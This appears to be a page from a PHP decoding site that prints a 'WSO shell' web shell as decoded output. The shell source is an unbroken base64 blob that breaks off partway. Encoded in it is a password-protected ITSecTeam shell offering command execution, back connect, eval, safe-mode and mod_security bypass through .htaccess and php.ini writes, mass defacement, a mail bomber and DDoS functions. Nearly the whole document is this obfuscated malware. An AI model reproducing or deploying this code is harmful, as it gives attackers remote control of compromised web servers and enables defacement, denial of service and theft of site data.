Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* WSO shell Source Code (B64 // ISO-8859-1): PD9waHANCnNlc3Npb25fc3RhcnQoKTsNC..
Decoded Output download
<?php
/*
WSO shell
Source Code (B64 // ISO-8859-1):
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJGF1dGhfcGFzcyA9IE1ENSgnMTI0NTc4OTYzJyk7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQoNCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIpOw0KICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KfQ0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNS4xJyk7DQoNCmlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsNCglmdW5jdGlvbiBHR3N0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ0dHc3RyaXBzbGFzaGVzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBHR3N0cmlwc2xhc2hlcygkX1BPU1QpOw0KICAgICRfQ09PS0lFID0gR0dzdHJpcHNsYXNoZXMoJF9DT09LSUUpOw0KfQ0KDQpmdW5jdGlvbiBHR0xvZ2luKCkgew0KCWRpZSgiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSckX1NFUlZFUlsncGhwX3NlbGYnXSc+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQoNCmZ1bmN0aW9uIEdHc2V0Y29va2llKCRrLCAkdikgew0KICAgICRfQ09PS0lFWyRrXSA9ICR2Ow0KICAgIHNldGNvb2tpZSgkaywgJHYpOw0KfQ0KDQppZighZW1wdHkoJGF1dGhfcGFzcykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykpDQogICAgICAgIEdHc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkYXV0aF9wYXNzKTsNCg0KICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRhdXRoX3Bhc3MpKQ0KICAgICAgICBHR0xvZ2luKCk7DQp9DQoNCmlmKCRfR0VUWydkbyddPT0icmVtb3ZlIil7DQp1bmxpbmsoZ2V0Y3dkKCkuJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pOw0KfQ0KJGJhc2VwPSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107DQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIil7DQokc2xhc2g9IlxcIjsNCiRiYXNlcD1zdHJfcmVwbGFjZSgiLyIsIlxcIiwkYmFzZXApOw0KfWVsc2V7DQokc2xhc2g9Ii8iOw0KJGJhc2VwPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRiYXNlcCk7DQp9DQppZigkX0dFVFsnZG8nXT09InJlbW92ZSIpew0KdW5saW5rKGdldGN3ZCgpLiRzbGFzaC4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQppZiAoJF9SRVFVRVNUWydhZGRyZXNzJ10pew0KaWYoaXNfcmVhZGFibGUoJF9SRVFVRVNUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfUkVRVUVTVFsnYWRkcmVzcyddKTt9ZWxzZXsNCmFsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fX0NCiRtZT0kX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRmb3JtcD0iPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSciLiRtZS4iJz4iOw0KJGZvcm1nPSI8Zm9ybSBtZXRob2Q9Z2V0IGFjdGlvbj0nIi4kbWUuIic+IjsNCiRub3dhZGRyZXNzPSc8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPSInLmdldGN3ZCgpLiciPic7DQppZiAoaXNzZXQoJF9GSUxFU1siZmlsZWUiXSkgYW5kICEgJF9GSUxFU1siZmlsZWUiXVsiZXJyb3IiXSkgew0KICAgaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGVlIl1bInRtcF9uYW1lIl0sICRfRklMRVNbImZpbGVlIl1bIm5hbWUiXSkpew0KICAgYWxlcnQoIkZpbGUgVXBsb2FkIFN1Y2Nlc3NmdWwiKTsNCiAgIH1lbHNlew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCiAgIA0KICAgfQ0KICAgfQ0KaWYoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSl7DQokZGlzYWJsZWY9aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsNCn1lbHNlew0KJGRpc2FibGVmPSJBbGwgRnVuY3Rpb25zIEVuYWJsZSI7DQp9DQppZihpbmlfZ2V0KCdzYWZlX21vZGUnKSl7DQokc2FmZV9tb2Rlcz0iT24iOw0KfWVsc2V7DQokc2FmZV9tb2Rlcz0iT2ZmIjsNCn0NCmlmICgkX1JFUVVFU1RbJ2NobW9kZSddICYmICRfUkVRVUVTVFsnY2htb2RlbnVtJ10pew0KaWYgKGNobW9kKCRfUE9TVFsnY2htb2RlJ10sIjAiLiRfUE9TVFsnY2htb2RlbnVtJ10pKXthbGVydCgiQ2htb2QgT2shIik7fWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9DQp9DQokcGljZGlyPSdpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5NitSOEFBQUIzMGxFUVZSNDJtTmdnQUF1SUJaQ3dqeEF6TWlBQzRqSXlrclpPTHBsaGNXbHpBdUxTNTBQd2tGUmlUUGwxVFFEQlNRazdPRllSTVNlalkxTkE2aUZpVUZFVWluS3dTL21jVVJXMWY5d0lBN05yUHdmbEZyNjN6b3c3Yk9KZDlJYlE4L0VON3F1Y1crMFhPTGV5SnY1WG1FVFU5UmpVRFYwM0JsWDJQNDNvYXovZjJoTyszK3Y1UHIvRGxFVi84MURpdi9yK2VUK1YzUEwrQy90bHZlZlA2THp2NkJSeUQ4MmNlMUlCbDA3L3pOSkZmMy9FeW9uL1E4djd2dWYwTFBxZjNEdDdQOW1ZV1gvMVlNci9vc2xUZnJQbnpqcHY0aDkybjhCbzdEL3JKSjZlUXlTNW42M1BMSmEvd2NVOWYzM0srejlIOU83K24vVGlSZi83WHAzL09kczN2OWZKR25pZjNIMzdQL0NqcW4vK2F6ai83UElHclF4c0JuN1ArVjJ5ZnpQNDViem45Yzk5NzljWk4zLzFMVVgva3RNdmZpZnRmblFmOEd3K3Y4QzN2bi8rVHh5LzNPN1p2MW5WakNaeDhEcWtQQ1d3Ny8wUHdnTFJ0Yi9kK3ZmL0YrM2ZQWi9qdERhLzB5MU8vNHpWVzc2eng1Yy9SK21obG5GZkJzRG0zZk9aL2JJaHYrY01VMy9wWEltL3hkSzdmNFA0b013VzB6TGY3YkVudi9zMGMxd01TWTk1M01NUW5HMVA1VUtKLzhuRmd2YUJ6OWpZUFRKZk0yYzJQcWZXTXhvR2ZDRmdVRkdLNHBCdzN3aDBWaEN1UlNVa2xpZ2FZOVl6QUlBL1gvM1MxLzVFRU1BQUFBQVNVVk9SSzVDWUlJPSc7DQokcGljZmlsZT0naVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUEwQUFBQU5DQVlBQUFCeTYrUjhBQUFCYUVsRVFWUjQybU1JWGZXZmVmN0pUN1lyejM0bzMzQUJoajlCYUtEWXJQM1BFNklxcGdreW9JTk5GejlHbm56dy9mL05Gejh3OEpZclgvL1AySDZ6TXJCeWlqQ0twbDFYUGtiZWUvWHQvL2Z2M3pIdy9sdGYveCs0L3ZuVDdPMDM2d096a1RTdVAvY3U4c2F6ei8rL2ZQbUNnUzgrK3Z4LzI1WFAveGNjZVA0eHIyZExQRkE1TTFqVHl0UHZJcTg4L3ZqLzQwZmMrT3oxNS8vTE94WlhBWlZ6Z0RVdE8vRTY4dExERC84L2ZNQ0IzMy80Zi9ycXMvOGxMUXVyNFpvV0gzc2RlZUgraC8vdjM3L0hqdCs5LzMveXl0UC9SVTFJbXVZZWZoMTU5dTY3LzIvZnZzV0szN3g1OC8vNHBTZi9DOUExbmI3ejl2L3IxNjl4NG1PWEh2L1BROWEwQU9pOE0zY2dKbUxESUUwbkxqOUJkZDZDWXk4aXo5NEJLbmlOQmIrQjBDZEJtcEFEb25QOS9jamxCeDcvMzMzcThmODlwOUh3R2FBNGtGNjY1LzcvbEdxa0lIZndLUmF4OVloMXQzSUlDTFoxQ0FwQngxWkFiR0liRUN3bHIyOElWTTRLQVBaZ3dReGJKeVZvQUFBQUFFbEZUa1N1UW1DQyc7DQokaGVhZD0nPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUgb3ZlcmxpbmU7IGNvbG9yOiA0MTQxNDE7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MHB4IHNvbGlkICNmOGY4Zjg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMmYyZjI7cGFkZGluZzowcHggMHB4IDBweCAwcHg7fQ0KPC9zdHlsZT48aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5pVFNlY1RlYW08L3RpdGxlPg0KPC9oZWFkPjxib2R5ICB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFyZ2luPSIwIiANCmJnY29sb3I9IiNmMmYyZjIiPjxkaXYgYWxpZ249ImNlbnRlciI+DQombmJzcDs8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwMCIgaGVpZ2h0PSIxNCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItd2lkdGg6IDFweCI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIzMCIgd2lkdGg9Ijk5NiI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxhIGhyZWY9Ij9kbz1ob21lIj5Ib21lPC9hPiAtLSA8YSBocmVmPSI/ZG89ZmlsZW1hbmFnZXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbGUgTWFuYWdlcjwvYT4gLS0gPGEgaHJlZj0iP2RvPWNtZCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+Q29tbWFuZCBFeGVjdXRlPC9hPiAtLSA8YSBocmVmPSI/ZG89YmMmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJhY2sgQ29ubmVjdDwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NjbWQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBDb21tYW5kIGVYZWN1dGUoU0YtREYpPC9hPiAtLSA8YSBocmVmPSI/ZG89c3ltbGluayZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+U3ltbGluazwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NkaXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBEaXJlY3Rvcnk8L2E+IC0tIDxhIGhyZWY9Ij9kbz1ldmFsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj4NCkV2YWwgUGhwPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRhdGEgQmFzZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWNvbnZlcnQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkNvbnZlcnQ8L2E+IC0tIDxhIGhyZWY9Ij9kbz1tYWlsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5NYWlsIEJvb21iZXI8L2E+PGEgaHJlZj0iP2RvPWluZm8mYWRkcmVzcz0nLmdldGN3ZCgpLiciPg0KPGJyPlNlcnZlciBJbmZvcm1hdGlvbjwvYT4gLS0gPGEgaHJlZj0iP2RvPWQwc2xvY2FsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5Eb3MgTG9jYWwgU2VydmVyPC9hPiAtLSA8YSBocmVmPSI/ZG89ZHVtcCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+QmFja3VwIERhdGFiYXNlPC9hPiAtLSA8YSBocmVmPSI/ZG89bWFzcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+TWFzcyBEZWZhY2U8L2E+IC0tIDxhIGhyZWY9Ij9kbz1kbGZpbGUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRvd25sb2FkIFJlbW90ZSBGaWxlPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGQwcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+RERvUzwvYT4gLS0gPGEgaHJlZj0iP2RvPXBlcm0mYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbmQgV3JpdGFibGUgRGlyZWN0b3J5PC9hPiAtLSA8YSBocmVmPSI/ZG89YXBhY2hlJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5TZXJ2ZXI8L2E+IC0tIDxhIGhyZWY9Ij9kbz1yZW1vdmUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPlJlbW92ZSBNZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWFib3V0JmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5BYm91dDwvYT4NCjwvc3Bhbj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRhYmxlIGlkPSJ0YWJsZTIiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IA0Kc29saWQ7IiB3aWR0aD0iMTAwMCIgYmdjb2xvcj0iI2VhZWFlYSIgYm9yZGVyPSIxIiBib3JkZXJjb2xvcj0iI2M2YzZjNiIgDQpjZWxscGFkZGluZz0iMCI+PHRib2R5Pjx0cj48dGQ+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgaWQ9InRhYmxlMyIgc3R5bGU9ImJvcmRlci1zdHlsZTpkYXNoZWQ7IGJvcmRlci13aWR0aDoxcHg7IG1hcmdpbi10b3A6IDFweDsgbWFyZ2luLWJvdHRvbTogMHB4OyANCmJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIHdpZHRoPSI5NTAiIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiNjZGNkY2QiDQpoZWlnaHQ9IjEwIiBib3JkZXJjb2xvcmxpZ2h0PSIjQ0RDRENEIiBib3JkZXJjb2xvcmRhcms9IiNDRENEQ0QiPjx0Ym9keT48dHI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxkaXYgYWxpZ249ImNlbnRlciI+DQpPcGVyYXRpb24gU3lzdGVtIDogJy5waHBfdW5hbWUoKS4nIHwgUGhwIFZlcnNpb24gOiAnLnBocHZlcnNpb24oKS4nIHwgU2FmZSBNb2RlIDogJy4kc2FmZV9tb2Rlcy4nIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDE5OCwgMTk4LCAxOTgpOyIgDQp3aWR0aD0iOTUwIiBiZ2NvbG9yPSIjZTdlM2RlIiBoZWlnaHQ9IjEwIiB2YWxpZ249InRvcCI+JzsNCiRlbmQ9JzwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI2M2YzZjNiI+PHAgc3R5bGU9Im1hcmdpbi10b3A6IDBwdDsgbWFyZ2luLWJvdHRvbTogMHB0IiBhbGlnbj0iY2VudGVyIj48c3BhbiBsYW5nPSJlbi11cyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuYmFzZTY0X2RlY29kZSgiUTI5a1pXUWdZbmtnUVcxcGJpQlRhRzlyYjJocElDaFFaV3AyWVdzcCIpLic8YnI+PGEgaHJlZj0iaHR0cDovL3d3dy5pdHNlY3RlYW0uY29tIiB0YXJnZXQ9Il9ibGFuayI+PGZvbnQgc2l6ZT0xPicuYmFzZTY0X2RlY29kZSgiYVZSVFpXTlVaV0Z0TG1OdmJRPT0iKS4nPC9hPjwvZm9udD48L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPic7DQokZGVueT0kaGVhZC4iPHAgYWxpZ249J2NlbnRlcic+IDxiPk9oIE15IEdvZCE8YnI+IFBlcm1pc3Npb24gRGVuaWVkIi4kZW5kOw0KZnVuY3Rpb24gYWxlcnQoJHRleHQpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kdGV4dC4iJyk8L3NjcmlwdD4iOw0KfQ0KaWYgKCRfR0VUWydkbyddPT0iZWRpdCIgJiYgJF9HRVRbJ2ZpbGVuYW1lJ10hPSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCiRvcGVkaXQ9Zm9wZW4oJF9HRVRbJ2FkZHJlc3MnXS4kX0dFVFsnZmlsZW5hbWUnXSwiciIpOw0Kd2hpbGUoIWZlb2YoJG9wZWRpdCkpDQokZGF0YS49ZnJlYWQoJG9wZWRpdCw5OTk5KTsNCmZjbG9zZSgkb3BlZGl0KTsgDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+RmlsZSBOYW1lIDogJy4kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddLic8YnI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJmZWRpdCIgY29scz0iODciPicuaHRtbGVudGl0aWVzKCIkZGF0YSIpLic8L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9Jy4kX0dFVFsnZmlsZW5hbWUnXS4nIG5hbWU9bmFtZWZlPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgU2F2ZSAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9fQ0KZnVuY3Rpb24gc2l6ZWUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0nYWJvdXQnKXsNCmVjaG8gJGhlYWQuIjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPXJlZD5JVFNlY1RlYW0sIElUIFNlY3VyaXR5IFJlc2VhcmNoICYgUGVuZXRyYXRpb24gVGVzdGluZyBUZWFtPC9iPjwvZm9udD48YnI+VmVyc2lvbiAyLjEgPGJyPkxhc3QgVXBkYXRlIDogMjAxMC8xMC8xMDxicj5Db2RlZCBCeSA6IEFtaW4gU2hva29oaShQZWp2YWspPGJyPlNwZWNpYWwgVGhhbmtzKE0zaHJAbi5TICwgQW0hcmtoQG4gLCBSM2RtMHZlICwgUHJvdmlkZXIgLCBING1pZEBUbTNsICwgYWhtYWRiYWR5ICwgRG9vc2liICk8YnI+SG9tZSBQYWdlIDogPGEgaHJlZj0naHR0cDovL3d3dy5pdHNlY3RlYW0uY29tJz5odHRwOi8vd3d3Lml0c2VjdGVhbS5jb208L2E+PGJyPlVwZGF0ZSBOb3RpY2U6IDxhIGhyZWY9J2h0dHA6Ly9pdHNlY3RlYW0uY29tL2VuL3Rvb2xzL2l0c2VjdGVhbV9zaGVsbC5odG0nPklUU2VjVGVhbSBTaGVsbDwvYT48YnI+Rm9ydW0gOiA8YSBocmVmPSdodHRwOi8vd3d3LmZvcnVtLml0c2VjdGVhbS5jb20nPmh0dHA6Ly93d3cuZm9ydW0uaXRzZWN0ZWFtLmNvbTwvYT48YnI+DQo8Y2VudGVyPg0KPFBSRT4NCg0KIF9fX19fXyAgX19fX19fICBfX19fICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi9cX18gIF9cL1xfXyAgX1wvXCAgX2BcICAgICAgICAgICAgICAgIC9cX18gIF9cICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpcL18vXCBcL1wvXy9cIFwvXCBcLFxMXF9cICAgICBfXyAgICBfX19cL18vXCBcLyAgICBfXyAgICAgX18gICAgICBfX18gX19fICAgIA0KICAgXCBcIFwgICBcIFwgXCBcL19cX18gXCAgIC8nX19gXCAvJ19fX1wgXCBcIFwgIC8nX19gXCAvJ19fYFwgIC8nIF9fYCBfX2BcICANCiAgICBcX1wgXF9fIFwgXCBcICAvXCBcTFwgXC9cICBfXy8vXCBcX18vICBcIFwgXC9cICBfXy8vXCBcTFwuXF8vXCBcL1wgXC9cIFwgDQogICAgL1xfX19fX1wgXCBcX1wgXCBgXF9fX19cIFxfX19fXCBcX19fX1wgIFwgXF9cIFxfX19fXCBcX18vLlxfXCBcX1wgXF9cIFxfXA0KICAgIFwvX19fX18vICBcL18vICBcL19fX19fL1wvX19fXy9cL19fX18vICAgXC9fL1wvX19fXy9cL19fL1wvXy9cL18vXC9fL1wvXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQo8L1BSRT4NCg0KDQoiLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsNCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHJldHVybiB0cnVlOw0KaWYgKCFpc19kaXIoJGRpcikgfHwgaXNfbGluaygkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCmZvcmVhY2ggKHNjYW5kaXIoJGRpcikgYXMgJGl0ZW0pIHsNCmlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQppZiAoIWRlbGV0ZURpcmVjdG9yeSgkZGlyIC4gIi8iIC4gJGl0ZW0pKSB7DQpjaG1vZCgkZGlyIC4gIi8iIC4gJGl0ZW0sIDA3NzcpOw0KaWYgKCFkZWxldGVEaXJlY3RvcnkoJGRpciAuICIvIiAuICRpdGVtKSkgcmV0dXJuIGZhbHNlOw0KfTt9cmV0dXJuIHJtZGlyKCRkaXIpO30NCg0KZnVuY3Rpb24gZG93bmxvYWQoJGZpbGVhZGQsJGZpbmFtZSl7DQokZGxmaWxlYT0kZmlsZWFkZC4kZmluYW1lOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJGZpbmFtZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZGxmaWxlYSkpOw0KZmx1c2goKTsNCiRmcCA9IGZvcGVuKCQkZGxmaWxlYSwgInIiKTsNCndoaWxlICghZmVvZigkZnApKQ0Kew0KICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgZmx1c2goKTsNCn0gDQpmY2xvc2UoJGZwKTsgDQp9DQppZigkX0dFVFsnZG8nXT09InJlbmFtZSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB2YWx1ZT0nLiRfR0VUWydmaWxlbmFtZSddLic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzc3JlbiB2YWx1ZT0nLiRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10uJz4gVG8gPGlucHV0IG5hbWU9bmFtZXJlbj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIFNhdmUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydieWFwYWNoZSddPT0nb2Ztcycpew0KJGZzZT1mb3BlbihnZXRjd2QoKS4kc2xhc2guIi5odGFjY2VzcyIsInciKTsNCmZ3cml0ZSgkZnNlLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkZnNlKTsNCn1lbHNlaWYgKCRfR0VUWydieWFwYWNoZSddPT0nYnlzYXAnKXsNCiRmc2U9Zm9wZW4oZ2V0Y3dkKCkuJHNsYXNoLiIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJGZzZSwnT3B0aW9ucyArRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IFBlcnNpYW4tR3VsZi1Gb3ItRXZlci5odG1sJyk7DQpmY2xvc2UoJGZzZSk7DQp9ZWxzZWlmICgkX0dFVFsnYnlhcGFjaGUnXT09J3NmYWRmJyl7DQokZnNlPWZvcGVuKGdldGN3ZCgpLiRzbGFzaC4icGhwLmluaSIsInciKTsNCmZ3cml0ZSgkZnNlLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJGZzZSk7DQp9DQppZigkX0dFVFsnZG8nXT09ImFwYWNoZSIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPg0KPHNlbGVjdCBuYW1lPWJ5YXBhY2hlPg0KPG9wdGlvbiB2YWx1ZT0ib2ZtcyI+T2ZmIE1vZGUgU2VjdXJpdHkoLmh0YWNjZXNzKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImJ5c2FwIj5CeXBhc3MgU3ltbGluayguaHRhY2Nlc3MpPC9vcHRpb24+DQo8b3B